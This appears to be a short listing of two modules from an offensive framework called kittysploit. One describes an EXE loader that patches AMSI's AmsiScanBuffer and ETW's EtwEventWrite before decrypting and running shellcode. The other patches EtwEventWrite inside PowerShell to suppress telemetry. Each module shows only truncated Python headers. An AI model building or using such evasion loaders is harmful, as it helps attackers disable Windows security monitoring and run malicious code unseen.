ETW/AMSI Patch Evasion

Generate a Windows x64 EXE that patches AMSI AmsiScanBuffer and/or ETW EtwEventWrite in-process before decrypting and running shellcode. !/usr/bin/env python3 -- coding: utf-8 -- """ In-process ETW/AMSI patch evasion loader. Patches AmsiScanBuffer and/or EtwEventWrite in-process, decrypts embedde...

Windows ETW Patch

Patch EtwEventWrite in ntdll RET stub inside the current PowerShell process to reduce script telemetry. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.post.windows.session import WindowsSessionMixin ETWPATCHPS = r""" Add-Type @" using System; using...